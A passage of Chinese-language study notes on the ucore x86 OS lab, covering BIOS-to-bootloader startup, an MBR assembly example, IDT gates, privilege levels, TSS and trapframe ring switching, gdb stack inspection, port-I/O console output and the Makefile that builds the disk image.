uint16_t tf_padding3;
uint32_t tf_trapno;
// 以下这些信息会被CPU硬件自动压入切换后的栈。包括下面切换特权级所使用的esp、ss等数据
uint32_t tf_err;
uintptr_t tf_eip;
uint16_t tf_cs;
uint16_t tf_padding4;
uint32_t tf_eflags;
// 以下这些信息会在切换特权级时被使用
uintptr_t tf_esp;
uint16_t tf_ss;
uint16_t tf_padding5;
} __attribute__((packed));

切换特权级的过程

  • 特权级提升
    • 在陷入的一瞬间,CPU会因为特权级的改变,索引TSS,切换 ssesp 为内核栈,并按顺序自动压入user_ssuser_espuser_eflagsuser_csold_eip以及err
    • 之后CPU会在中断处理例程入口处,先将剩余的段寄存器以及所有的通用寄存器压栈,构成一个 trapframe ,然后将该 trapframe 传入给真正的中断处理例程并执行
    • 该处理例程会判断传入的中断数(trapno)并执行特定的代码,在提升特权级的代码中,程序会处理传入的 trapframe 信息中的 CS、DS、eflags 寄存器,修改上面的 DPL、CPL与IOPL 以达到提升特权的目的
    • 将修改后的 trapframe 压入用户栈(这一步没有修改 user_esp 寄存器),并设置中断处理例程结束后将要弹出 esp 寄存器的值为用户栈的新地址(与刚刚不同,这一步修改了将要恢复的 user_esp 寄存器)
    • 在内核中,“将修改后的trapframe压入用户栈”这一步,需要舍弃 trapframe 中末尾两个旧的ssesp寄存器数据
  • 特权级降低
    • 与 ring3 调用中断不同,当 ring0 调用中断时,进入中断前和进入中断后的这个过程,栈不发生改变
    • 修改后的 trapFrame 不需要像上面那样保存至将要使用的栈,因为当前环境下 iret 前后特权级会发生改变,执行该命令会弹出 ssesp ,所以可以通过 iret 来设置返回时的栈地

中断描述符表

中断描述符表(Interrupt Descriptor Table, IDT )是保护模式下用于存储中断处理程序入口的表,当 CPU 接收一个中断时,需要用中断向量在此表中检索对应的描述符,在该描述符中找到中断处理程序的起始地址,然后执行中断处理程序

实模式下用于存储中断处理程序入口的表叫中断向量表(Interrupt Vector Table,IVT)

在计算机中,用门来表示一段程序的入口:

  • 任务门
    • 任务门和任务状态段(Task Status Segment,TSS)是 Intel 处理器在硬件一级提供的任务切换机制,所以任务门需要和 TSS 配合在一起使用,在任务门中记录的是 TSS 选择子,(偏移量未使用)
    • 任务门可以存在于全局描述符表 GDT,局部描述符表 LDT,中断描述符表 IDT 中
  • 中断门
    • 中断门包含了中断处理程序所在段的段选择子和段内偏移地址,当通过此方式进入中断后,标志寄存 eflags 中的IF位自动置 0(也就是在进入中断后,自动把中断关闭,避免中断嵌套)
    • Linux 就是利用中断门实现的系统调用(就是那个著名的 int 0x80)
    • 中断门只允许存在于中断描述符表 IDT 中
  • 陷阱门
    • 陷阱门和中断门非常相似,区别是由陷阱门进入中断后,标志寄存器 eflags 中的IF位不会自动置 0
    • 陷阱门只允许存在于中断描述符表 IDT 中
  • 调用门
    • 调用门是提供给用户进程进入 ring0 特权级的方式
    • 调用门中将记录例程的地址,并且它不能用 int 指令调用,只能用 call 和 jmp 指令
    • 调用门可以安装在全局描述符表 GDT,局部描述符表 LDT 中

可编程中断控制器 8259A

任务是串行在 CPU 上执行的, CPU 每次只能执行一个任务,如果同时有多个外设发出中断,而 CPU 只能先处理一个

可编程中断控制器 8259A 就可以作为中断代理,决定哪个中断优先被 CPU 受理

x86启动顺序

对于绝大多数计算机系统而言,操作系统和应用软件是存放在磁盘(硬盘/软盘)、光盘、EPROM、ROM、Flash等可在掉电后继续保存数据的存储介质上, 当计算机加电后,一般不直接执行操作系统,而是一开始会 到一个特定的地址开始执行指令 ,这个特定的地址 存放了系统初始化软件 ,通过执行系统初始化软件(可固化在ROM或Flash中,也称firmware,固件)完成基本I/O初始化和引导加载操作系统的功能

以基于Intel 80386的计算机为例,计算机加电后,整个物理地址空间如下图所示:

第一条指令

算机加电后,代码段寄存器 CS=0xF000h,指令指针寄存器 EIP=FFF0h,所以执行的第一条指令地址为 BASE+EIP=FFFF0000h+0000FFF0h=FFFFFFF0h ,这是BIOS的EPROM所在地(只读)

通常第一条指令是一条长跳指令,这样CS和EIP都会更新到BIOS代码中执行

启动qemu并让其停到执行第一条指令前,这需要增加一个参数”-S” :

1
qemu –S

然后通过按”Ctrl+Alt+2”进入qemu的monitor界面,为了了解80386此时的寄存器内容,在monitor界面下输入命令:

1
info registers

显示以下数据:

发现 CS selector = 0xf000,CS base = 0xffff0000,EIP = 0x0000fff0

当前指令地址为:0xf000 * 16 + 0x0000fff0 = 0xffff0

从BIOS到BootLoader

BIOS加载存储设备上,第一个扇区(通常512字节)到内存(0x7c00),然后跳转到 0x7c00 的第一条地址开始执行

这512字节就是 MBR,其中包含了BootLoader(最后两字节固定)

  • 由于实模式下最高寻址1MB,故 0xFFFF0 处是一条跳转指令 jmp far f000:e05b ,跳转至BIOS真正的代码
  • 之后便开始检测并初始化外设,与 0x000-0x3ff 建立数据结构,中断向量表IVT并填写中断例程
  • BIOS最后校验启动盘中位于0盘0道1扇区(MBR)的内容,如果此扇区末尾两个字节分别是魔数 0x550xaa ,则BIOS认为此扇区中存在可执行的程序,并加载该512字节数据到 0x7c00 ,随后跳转至此继续执行

从BootLoader到OS

MBR是主引导记录(Master Boot Record),也被称为主引导扇区,是计算机开机以后访问硬盘时所必须要读取的第一个扇区,其内部前446字节存储了 bootloader 代码,其后是4个16字节的“磁盘分区表”

BootLoader完成的工作:

  • 使系统从“实模式”变为“保护模式”,开启段机制(拥有4GB的访问空间)
  • 从硬盘上读取 kernel in ELF 格式的 ucore kernel 并放到内存中固定位置
  • 跳转到 ucore OS 的入口点,把控制权转移到 ucore OS 中

以下是一个简单的 MBR 结构:(该程序只会将 1 MBR 字符串打印到屏幕上并挂起)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
;主引导程序
;------------------------------------------------------------
SECTION MBR vstart=0x7c00 ; 起始地址编译为0x7c00
mov ax,cs ; 此时的cs为0,用0来初始化所有的段寄存器
mov ds,ax
mov es,ax
mov ss,ax
mov fs,ax
mov sp,0x7c00 ; 0x7c00 以下空间暂时安全,故可用做栈。

; 清屏 利用0x06号功能,上卷全部行,则可清屏。
; -----------------------------------------------------------
;INT 0x10 功能号:0x06 功能描述:上卷窗口
;------------------------------------------------------
;输入:
;AH 功能号= 0x06
;AL = 上卷的行数(如果为0,表示全部)
;BH = 上卷行属性
;(CL,CH) = 窗口左上角的(X,Y)位置
;(DL,DH) = 窗口右下角的(X,Y)位置
;无返回值:
mov ax, 0x600
mov bx, 0x700
mov cx, 0 ; 左上角: (0, 0)
mov dx, 0x184f ; 右下角: (80,25),
; VGA文本模式中,一行只能容纳80个字符,共25行。
; 下标从0开始,所以0x18=24,0x4f=79
int 0x10 ; int 0x10

;;;;;;;;; 下面这三行代码是获取光标位置 ;;;;;;;;;
;.get_cursor获取当前光标位置,在光标位置处打印字符.
mov ah, 3 ; 输入: 3 号子功能是获取光标位置,需要存入ah寄存器
mov bh, 0 ; bh寄存器存储的是待获取光标的页号

int 0x10 ; 输出: ch=光标开始行,cl=光标结束行
; dh=光标所在行号,dl=光标所在列号

;;;;;;;;; 获取光标位置结束 ;;;;;;;;;;;;;;;;

;;;;;;;;; 打印字符串 ;;;;;;;;;;;
;还是用10h中断,不过这次是调用13号子功能打印字符串
mov ax, message
mov bp, ax ; es:bp 为串首地址, es此时同cs一致,
; 开头时已经为sreg初始化

; 光标位置要用到dx寄存器中内容,cx中的光标位置可忽略
mov cx, 5 ; cx 为串长度,不包括结束符0的字符个数
mov ax, 0x1301 ; 子功能号13是显示字符及属性,要存入ah寄存器,
; al设置写字符方式 ah=01: 显示字符串,光标跟随移动
mov bx, 0x2 ; bh存储要显示的页号,此处是第0页,
; bl中是字符属性, 属性黑底绿字(bl = 02h)
int 0x10 ; 执行BIOS 0x10 号中断
;;;;;;;;; 打字字符串结束 ;;;;;;;;;;;;;;;

jmp $ ; 始终跳转到这条代码,为死循环,使程序悬停在此

message db "1 MBR"
; 用\0 将剩余空间填满
times 510-($-$$) db 0 ; $指代当前指令的地址,$$指代当前section的首地址
; 最后两位一定是0x55, 0xaa
db 0x55,0xaa

加载 ELF 格式的 ucore OS kernel

附件:Intel80386启动过程

x86中断简述

在操作系统中,有三种特殊的中断事件:

  • 异步中断(asynchronous interrupt):这是由CPU外部设备引起的外部事件中断,例如I/O中断、时钟中断、控制台中断等
  • 同步中断(synchronous interrupt):这是CPU执行指令期间检测到不正常的或非法的条件(如除零错、地址访问越界)所引起的内部事件
  • 陷入中断(trap interrupt):这是在程序中使用请求系统服务的系统调用而引发的事件

中断源

  • 外部中断:外部设施产生的中断,具有异步性(不清楚它什么时候产生)
  • 软件中断:软件,系统参数的中断,具有同步性(例如:INT 系统调用)
  • 异常:程序错误,软件产生的异常,机器检查出的异常

这些都需要 OS 进行正确的处理

中断服务例程

  • 每个中断异常与一个“中断服务例程ISR”关联(其关联关系存储在“中断描述符表IDT”中)
  • 在“中断号”和“中断处理程序的地址”之间,通过“中断描述符表”建立了一种映射关系

中断描述符表

  • 中断描述符表(Interrupt Descriptor Table, IDT)把每个中断或异常编号和一个指向中断服务例程的描述符联系起来,同GDT(全局描述符表)一样,IDT是一个8字节的描述符数组,但IDT的第一项可以包含一个描述符
  • IDT可以位于内存的任意位置,CPU通过IDT寄存器(IDTR)的内容来寻址IDT的起始地址

中断门描述符

中断/异常应该使用 Interrupt GateTrap Gate ,其中的唯一区别就是:

  • 当调用 Interrupt Gate 时,Interrupt会被CPU自动禁止
  • 而调用 Trap Gate 时,CPU则不会去禁止或打开中断,而是保留原样

IDT中包含了3种类型的中断门描述符(Descriptor)

  • Task-gate descriptor(任务门描述符)
  • Interrupt-gate descriptor(中断门描述符:中断方式用到)
  • Trap-gate descriptor(陷阱门描述符:系统调用用到)

下图显示了80386的中断门描述符、陷阱门描述符的格式:

x86中断处理

起始阶段

  • CPU执行完每条指令后,判断中断控制器中是否产生中断,如果存在中断,则取出对应的中断变量
  • CPU根据中断变量,到IDT中找到对应的中断描述符
  • 通过获取到的中断描述符中的段选择子,从GDT中取出对应的段描述符,此时便获取到了中断服务例程的段基址与属性信息,跳转至该地址
  • CPU会根据CPL和中断服务例程的段描述符的DPL信息确认是否发生了 特权级的转换
    • 若发生了特权级的转换,这时CPU会从当前程序的TSS信息(该信息在内存中的起始地址存在TR寄存器中)里取得该程序的内核栈地址,即包括内核态的ss和esp的值
    • 并立即将系统当前使用的栈切换成新的内核栈(这个栈就是即将运行的中断服务程序要使用的栈)
    • 紧接着就将当前程序使用的用户态的ss和esp压到新的内核栈中保存起来
  • CPU需要 开始保存当前被打断的程序的现场 (即一些寄存器的值),以便于将来恢复被打断的程序继续执行。这需要利用内核栈来保存相关现场信息,即依次压入当前被打断程序使用的eflags,cs,eip,errorCode(如果是有错误码的异常)信息
  • CPU利用中断服务例程的段描述符将其第一条指令的地址加载到cs和eip寄存器中, 开始执行中断服务例程 (这意味着先前的程序被暂停执行,中断服务程序正式开始工作)

终止阶段

每个中断服务例程在有中断处理工作完成后需要通过 iret (或 iretd )指令恢复被打断的程序的执行(恢复各个寄存器的数据等等),CPU执行IRET指令的具体过程如下:

  • 程序执行这条 iret 指令时,首先会从内核栈里弹出先前保存的被打断的程序的现场信息,即eflags,cs,eip重新开始执行
  • 如果存在特权级转换(从内核态转换到用户态),则还需要从内核栈中弹出用户态栈的ss和esp,即栈也被切换回原先使用的用户栈
  • 如果此次处理的是带有错误码(errorCode)的异常,CPU在恢复先前程序的现场时,并不会弹出errorCode,需要要求相关的中断服务例程在调用iret返回之前添加出栈代码主动弹出errorCode

x86特权级别简述

特权级别(Privilege Level)是存在于 Descriptor(描述符)及 Segment Selector(段选择子,存储在段寄存器以及门描述符中) 中一个数值,当这些 Descriptor 或 Segment Selector 要进行某些操作,或者被别的对象访问时,该数值用于控制它们能够进行的操作或者限制它们的可访问性

特权级共分为四档,分别为0-3:

  • Kernel为第0特权级(ring 0)
  • 用户程序为第3特权级(ring 3)
  • 操作系统保护分别为第1和第2特权级

描述符特权级(DPL,Descriptor Privilege Level)

  • 实施特权级保护的第一步,是为所有可管理的对象赋予一个特权级,以决定谁能访问它们,每个 Descriptor 都具有描述符特权级(DPL,Descriptor Privilege Level)字段,Descriptor 总是指向它所“描述”的目标对象,代表着该对象,因此该字段(DPL)实际上是目标对象的特权级
  • 存储于段描述符中:

当前特权级(CPL,Current Privilege Level)

  • 当处理器正在一个代码段中取指令和执行指令时,那个代码段的特权级叫做当前特权级(CPL,Current Privilege Level),正在执行的这个代码段,其选择子位于段寄存器CS中,其最低两位就是当前特权级的数值
  • 存储于CS寄存器的段选择子中(CS中的DPL就是CPL):

请求特权级(RPL,Request Privilege Level)

  • 我们知道,要将控制从一个代码段转移到另一个代码段,通常是使用 jmpcall 指令,并在指令中提供目标代码段的选择子,以及段内偏移量(入口点),而为了访问内存中的数据,也必须先将段选择子加载到段寄存器DS、ES、FS或者GS中,不管是实施控制转移,还是访问数据段,这都可以看成是一个请求,请求者提供一个段选择子,请求访问指定的段,从这个意义上来说,RPL也就是指请求者的特权级别(RPL,Request Privilege Level)
  • 存储于段选择子中:(段选择子存储于各个段寄存器以及门描述符中:调用门、任务门、中断门、陷阱门)

输出特权级(IOPL,I/O Privilege Level)

  • 除了那些特权级敏感的指令外,处理器还允许对各个特权级别所能执行的I/O操作进行控制,通常,这指的是端口访问的许可权,因为对设备的访问都是通过端口进行的
  • 在处理器的标志寄存器EFLAGS中,位13、位12是IOPL位,也就是输入/输出特权级(IOPL,I/O Privilege Level),它代表着当前任务的I/O特权级别,某些指令,例如 IN,OUT,CLI 需要 I/O 特权,这些操作根据 IOPL 和 CPL 确定合法性
  • 存储于EFLAGS中:

x86特权级别运用

特权级检查

在下述的特权级比较中,需要注意特权级越低,其ring值越大:

  • 访问门时(中断、陷入、异常),要求 DPL[段] <= CPL <= DPL[门] (ring值比较)
    • 访问门的代码权限比门的特权级要高,因为这样才能访问门(CPL <= DPL[门])
    • 但访问门的代码权限比被访问的段的权限要低,因为通过门的目的是访问特权级更高的段,这样就可以达到低权限应用程序使用高权限内核服务的目的(CPL <= DPL[门])
    • 简述:代码权限低于段权限时,可以通过访问门的方式来访问段
  • 访问段时,要求 DPL[段] >= max {CPL, RPL} (ring值比较)
    • 只能使用最低的权限来访问段数据
    • 简述:请求权限与当前权限只要有一个低于段权限,就会导致访问失败

特权级切换

TSS

TSS(Task State Segment)是操作系统在进行进程切换时保存进程现场信息的段,其结构如下:

  • TSS中分别保留了 ring0、ring1、ring2 的栈,当用户程序从 ring3 跳至 ring0 时(例如执行中断),此时的栈就会从用户栈切换到内核栈,切换栈的操作从开始中断的那一瞬间就已完成(例如:从int 0x78到中断处理例程之间)
  • TSS段的段描述符保存在GDT中,其 ring0 的栈会在初始化GDT时被一起设置,TR 寄存器会保存当前TSS的段描述符,以提高索引速度
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static struct segdesc gdt[] = {
SEG_NULL,
[SEG_KTEXT] = SEG(STA_X | STA_R, 0x0, 0xFFFFFFFF, DPL_KERNEL),
[SEG_KDATA] = SEG(STA_W, 0x0, 0xFFFFFFFF, DPL_KERNEL),
[SEG_UTEXT] = SEG(STA_X | STA_R, 0x0, 0xFFFFFFFF, DPL_USER),
[SEG_UDATA] = SEG(STA_W, 0x0, 0xFFFFFFFF, DPL_USER),
[SEG_TSS] = SEG_NULL,
};
static struct pseudodesc gdt_pd = {
sizeof(gdt) - 1, (uintptr_t)gdt
};

/* gdt_init - initialize the default GDT and TSS */
static void
gdt_init(void) {
// 设置TSS的ring0栈地址,包括esp寄存器和SS段寄存器
load_esp0((uintptr_t)bootstacktop);
ts.ts_ss0 = KERNEL_DS;

// 将TSS写入GDT中
gdt[SEG_TSS] = SEGTSS(STS_T32A, (uintptr_t)&ts, sizeof(ts), DPL_KERNEL);

// 加载GDT至GDTR寄存器
lgdt(&gdt_pd);

// 加载TSS至TR寄存器
ltr(GD_TSS);
}

trapFrame

trapframe 结构是进入中断门所必须的结构,中断处理例程的入口代码用于保存上下文并构建一个 trapframe

trapframe 的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct trapframe {
// tf_regs保存了基本寄存器的值,包括eax,ebx,esi,edi寄存器等等
struct pushregs tf_regs;
uint16_t tf_gs;
uint16_t tf_padding0;
uint16_t tf_fs;
uint16_t tf_padding1;
uint16_t tf_es;
uint16_t tf_padding2;
uint16_t tf_ds;
uint16_t tf_padding3;
uint32_t tf_trapno;
// 以下这些信息会被CPU硬件自动压入切换后的栈。包括下面切换特权级所使用的esp、ss等数据
uint32_t tf_err;
uintptr_t tf_eip;
uint16_t tf_cs;
uint16_t tf_padding4;
uint32_t tf_eflags;
// 以下这些信息会在切换特权级时被使用
uintptr_t tf_esp;
uint16_t tf_ss;
uint16_t tf_padding5;
} __attribute__((packed));

切换特权级的过程

  • 特权级提升
    • 在陷入的一瞬间,CPU会因为特权级的改变,索引TSS,切换 ssesp 为内核栈,并按顺序自动压入user_ssuser_espuser_eflagsuser_csold_eip以及err
    • 之后CPU会在中断处理例程入口处,先将剩余的段寄存器以及所有的通用寄存器压栈,构成一个 trapframe ,然后将该 trapframe 传入给真正的中断处理例程并执行
    • 该处理例程会判断传入的中断数(trapno)并执行特定的代码,在提升特权级的代码中,程序会处理传入的 trapframe 信息中的 CS、DS、eflags 寄存器,修改上面的 DPL、CPL与IOPL 以达到提升特权的目的
    • 将修改后的 trapframe 压入用户栈(这一步没有修改 user_esp 寄存器),并设置中断处理例程结束后将要弹出 esp 寄存器的值为用户栈的新地址(与刚刚不同,这一步修改了将要恢复的 user_esp 寄存器)
    • 在内核中,“将修改后的trapframe压入用户栈”这一步,需要舍弃 trapframe 中末尾两个旧的ssesp寄存器数据
  • 特权级降低
    • 与 ring3 调用中断不同,当 ring0 调用中断时,进入中断前和进入中断后的这个过程,栈不发生改变
    • 修改后的 trapFrame 不需要像上面那样保存至将要使用的栈,因为当前环境下 iret 前后特权级会发生改变,执行该命令会弹出 ssesp ,所以可以通过 iret 来设置返回时的栈地

x86栈简述

只有设置好的合适大小和地址的栈内存空间(简称栈空间),才能有效地进行函数调用,这里为了减少汇编代码量,我们就通过C代码来完成显示,由于需要调用C语言的函数,所以需要自己建立好栈空间,设置栈的代码如下:

1
movl    $start, %esp

由于start位置(0x7c00)前的地址空间没有用到,所以可以用来作为bootloader的栈,由于栈是向下长的,所以不会破坏start位置后面的代码,我们可以通过用gdb调试bootloader来进一步观察栈的变化:

1
2
qemu -hda bin/ucore.img -S -s
gdb obj/bootblock.o

然后再GDB中输入以下指令来连接qemu:(可以使用 layout src 指令显示源码)

1
2
3
(gdb) target remote :1234 
(gdb) break bootasm.S:68
(gdb) continue

接下来就可以通过 “ info registers esp ” 指令来打印 esp寄存器 的值了:

1
2
3
4
B+>69              movl $0x0, %ebp 
------------------------------------
(gdb) info register esp
esp 0x6f00
1
2
3
4
5
   70              movl $start, %esp            
>71 call bootmain
------------------------------------
(gdb) info register esp
esp 0x7c00 0x7c00 <start>

可以发现,程序把“$start”中的数据赋值给了esp,这就是栈的起始地址(栈顶)

看看程序是怎么处理 call 指令的:

1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) si
bootmain () at boot/bootmain.c:87
(gdb) info registers esp
esp 0x7bfc 0x7bfc
(gdb) x/4x 0x7bfc // esp中装了一个地址
0x7bfc: 0x00007c4f 0xc031fcfa 0xc08ed88e
0x64e4d08e
(gdb) x/4i 0x7c4a // 地址"0x7c4f"就是call指令的下一个指令,是函数"bootmain"的返回地址
0x7c4a <protcseg+24>:
call 0x7d0f <bootmain>
0x7c4f <spin>: jmp 0x7c4f <spin>
0x7c51 <spin+2>: lea 0x0(%esi),%esi
0x7c54 <gdt>: add %al,(%eax)

x86显示字符串

bootloader 只在CPU和内存中打转无法让读者很容易知道 bootloader 的工作是否正常,为此在成功完成了保护模式的转换并且设置好栈后,就可以调用 bootmain 函数显示字符串了,在 lab1 中使用了显示器和并口两种外设来显示字符串,主要的代码集中在 bootmain.c 中

这里采用的是很简单的基于Programmed I/O (PIO)方式,PIO方式是一种通过CPU执行I/O端口指令来进行数据读写的数据交换模式,被广泛应用于硬盘、光驱等设备的基础传输模式中(效率低下,但编程简单)

  • 计算机与IO接口的通信是通过计算机指令来实现的,通过软件指令选择IO接口上的功能、工作模式的做法,称为“IO接口控制编程”,通常是用端口读写指令in/out实现
  • 端口是IO接口开发给CPU的接口,一般的IO接口都有一组端口,每个端口都有自己的用途

指令in/out使用方式如下:

1
2
3
4
5
6
7
in al, dx  # al/ax 用于存放从端口读入的数据,dx指端口号
in ax, dx

out dx, al
out dx, ax
out 立即数, al
out 立即数, ax

在 bootmain.c 中的 lpt_putc 函数(定义在 console.c 中)完成了并口输出字符的工作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#define LPTPORT         0x378

static void lpt_putc(int c) {
if (c != '\b') {
lpt_putc_sub(c);
}
else {
lpt_putc_sub('\b');
lpt_putc_sub(' ');
lpt_putc_sub('\b');
}
}

static void lpt_putc_sub(int c) {
int i;
for (i = 0; !(inb(LPTPORT + 1) & 0x80) && i < 12800; i ++) {
delay(); /* 读I/O端口地址0x379,等待并口准备好 */
}
outb(LPTPORT + 0, c); /* 向I/O端口地址0x378发出要输出的字符 */
outb(LPTPORT + 2, 0x08 | 0x04 | 0x01); /* 向I/O端口地址0x37A发出控制命令 */
outb(LPTPORT + 2, 0x08);
}

/* 在I/O端口port写入一个字节的data */
static inline void outb(uint16_t port, uint8_t data) {
asm volatile ("outb %0, %1" :: "a" (data), "d" (port));
}

/* 从I/O端口port读取一个字节 */
static inline uint8_t inb(uint16_t port) {
uint8_t data;
asm volatile ("inb %1, %0" : "=a" (data) : "d" (port));
return data;
}

/* 一种笨的滞后时间控制:通过无意义指令的执行来达到延时的目的 */
static void delay(void) {
inb(0x84);
inb(0x84);
inb(0x84);
inb(0x84);
}
  • 读I/O端口地址 0x379,等待并口准备好
  • 向I/O端口地址 0x378 发出要输出的字符
  • 向I/O端口地址 0x37A 发出控制命令,让并口处理要输出的字符

在 bootmain.c 中的 serial_putc 函数(定义在 console.c 中)完成了串口输出字符的工作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define COM1            0x3F8
#define COM_TX 0 // Out: Transmit buffer (DLAB=0)
#define COM_LSR 5 // In: Line Status Register
#define COM_LSR_TXRDY 0x20 // Transmit buffer avail

static void serial_putc(int c) {
if (c != '\b') {
serial_putc_sub(c);
}
else {
serial_putc_sub('\b');
serial_putc_sub(' ');
serial_putc_sub('\b');
}
}

static void serial_putc_sub(int c) {
int i;
for (i = 0; !(inb(COM1 + COM_LSR) & COM_LSR_TXRDY) && i < 12800; i ++) {
delay(); /* 读I/O端口地址0x3f8+5获得LSR寄存器的值,等待串口输出准备好 */
}
outb(COM1 + COM_TX, c); /* 向I/O端口地址0x3f8发出要输出的字符 */
}
  • 读I/O端口地址 0x3f8+5 获得LSR寄存器的值,等待串口输出准备好
  • 向I/O端口地址 0x3f8 发出要输出的字符

在 bootmain.c 中的 cga_putc 函数(定义在 console.c 中)完成了 CGA 字符方式在某位置输出字符的工作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#define CRT_ROWS        25
#define CRT_COLS 80
#define CRT_SIZE (CRT_ROWS * CRT_COLS)

typedef unsigned short uint16_t;
static uint16_t *crt_buf;
static uint16_t crt_pos;
static uint16_t addr_6845;

static void cga_putc(int c) {
// set black on white
if (!(c & ~0xFF)) {
c |= 0x0700;
}

switch (c & 0xff) {
case '\b':
if (crt_pos > 0) {
crt_pos --;
crt_buf[crt_pos] = (c & ~0xff) | ' ';
}
break;
case '\n':
crt_pos += CRT_COLS;
case '\r':
crt_pos -= (crt_pos % CRT_COLS);
break;
default:
crt_buf[crt_pos ++] = c; // write the character
break;
}

// What is the purpose of this?
if (crt_pos >= CRT_SIZE) {
int i;
memmove(crt_buf, crt_buf + CRT_COLS, (CRT_SIZE - CRT_COLS) * sizeof(uint16_t));
for (i = CRT_SIZE - CRT_COLS; i < CRT_SIZE; i ++) {
crt_buf[i] = 0x0700 | ' ';
}
crt_pos -= CRT_COLS;
}

// move that little blinky thing
outb(addr_6845, 14);
outb(addr_6845 + 1, crt_pos >> 8);
outb(addr_6845, 15);
outb(addr_6845 + 1, crt_pos);
}
  • 写I/O端口地址0x3d4,读I/O端口地址0x3d5,获得当前光标位置
  • 在光标的下一位置的显存地址空间上写字符,格式是黑色背景/白色字符
  • 设置当前光标位置为下一位置

练习1 - 镜像文件的生成

关于这部分,我觉得现在还不急着去分析 Makefile 的具体内容,就挂一下答案了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
bin/ucore.img
| 生成ucore.img的相关代码为
| $(UCOREIMG): $(kernel) $(bootblock)
| $(V)dd if=/dev/zero of=$@ count=10000
| $(V)dd if=$(bootblock) of=$@ conv=notrunc
| $(V)dd if=$(kernel) of=$@ seek=1 conv=notrunc
|
| 为了生成ucore.img,首先需要生成bootblock、kernel
|
|> bin/bootblock
| | 生成bootblock的相关代码为
| | $(bootblock): $(call toobj,$(bootfiles)) | $(call totarget,sign)
| | @echo + ld $@
| | $(V)$(LD) $(LDFLAGS) -N -e start -Ttext 0x7C00 $^ \
| | -o $(call toobj,bootblock)
| | @$(OBJDUMP) -S $(call objfile,bootblock) > \
| | $(call asmfile,bootblock)
| | @$(OBJCOPY) -S -O binary $(call objfile,bootblock) \
| | $(call outfile,bootblock)
| | @$(call totarget,sign) $(call outfile,bootblock) $(bootblock)
| |
| | 为了生成bootblock,首先需要生成bootasm.o、bootmain.o、sign
| |
| |> obj/boot/bootasm.o, obj/boot/bootmain.o
| | | 生成bootasm.o,bootmain.o的相关makefile代码为
| | | bootfiles = $(call listf_cc,boot)
| | | $(foreach f,$(bootfiles),$(call cc_compile,$(f),$(CC),\
| | | $(CFLAGS) -Os -nostdinc))
| | | 实际代码由宏批量生成
| | |
| | | 生成bootasm.o需要bootasm.S
| | | 实际命令为
| | | gcc -Iboot/ -fno-builtin -Wall -ggdb -m32 -gstabs \
| | | -nostdinc -fno-stack-protector -Ilibs/ -Os -nostdinc \
| | | -c boot/bootasm.S -o obj/boot/bootasm.o
| | | 其中关键的参数为
| | | -ggdb 生成可供gdb使用的调试信息。这样才能用qemu+gdb来调试bootloader or ucore。
| | | -m32 生成适用于32位环境的代码。我们用的模拟硬件是32bit的80386,所以ucore也要是32位的软件。
| | | -gstabs 生成stabs格式的调试信息。这样要ucore的monitor可以显示出便于开发者阅读的函数调用栈信息
| | | -nostdinc 不使用标准库。标准库是给应用程序用的,我们是编译ucore内核,OS内核是提供服务的,所以所有的服务要自给自足。
| | | -fno-stack-protector 不生成用于检测缓冲区溢出的代码。这是for 应用程序的,我们是编译内核,ucore内核好像还用不到此功能。
| | | -Os 为减小代码大小而进行优化。根据硬件spec,主引导扇区只有512字节,我们写的简单bootloader的最终大小不能大于510字节。
| | | -I<dir> 添加搜索头文件的路径
| | |
| | | 生成bootmain.o需要bootmain.c
| | | 实际命令为
| | | gcc -Iboot/ -fno-builtin -Wall -ggdb -m32 -gstabs -nostdinc \
| | | -fno-stack-protector -Ilibs/ -Os -nostdinc \
| | | -c boot/bootmain.c -o obj/boot/bootmain.o
| | | 新出现的关键参数有
| | | -fno-builtin 除非用__builtin_前缀,
| | | 否则不进行builtin函数的优化
| |
| |> bin/sign
| | | 生成sign工具的makefile代码为
| | | $(call add_files_host,tools/sign.c,sign,sign)
| | | $(call create_target_host,sign,sign)
| | |
| | | 实际命令为
| | | gcc -Itools/ -g -Wall -O2 -c tools/sign.c \
| | | -o obj/sign/tools/sign.o
| | | gcc -g -Wall -O2 obj/sign/tools/sign.o -o bin/sign
| |
| | 首先生成bootblock.o
| | ld -m elf_i386 -nostdlib -N -e start -Ttext 0x7C00 \
| | obj/boot/bootasm.o obj/boot/bootmain.o -o obj/bootblock.o
| | 其中关键的参数为
| | -m <emulation> 模拟为i386上的连接器
| | -nostdlib 不使用标准库
| | -N 设置代码段和数据段均可读写
| | -e <entry> 指定入口
| | -Ttext 制定代码段开始位置
| |
| | 拷贝二进制代码bootblock.o到bootblock.out
| | objcopy -S -O binary obj/bootblock.o obj/bootblock.out
| | 其中关键的参数为
| | -S 移除所有符号和重定位信息
| | -O <bfdname> 指定输出格式
| |
| | 使用sign工具处理bootblock.out,生成bootblock
| | bin/sign obj/bootblock.out bin/bootblock
|
|> bin/kernel
| | 生成kernel的相关代码为
| | $(kernel): tools/kernel.ld
| | $(kernel): $(KOBJS)
| | @echo + ld $@
| | $(V)$(LD) $(LDFLAGS) -T tools/kernel.ld -o $@ $(KOBJS)
| | @$(OBJDUMP) -S $@ > $(call asmfile,kernel)
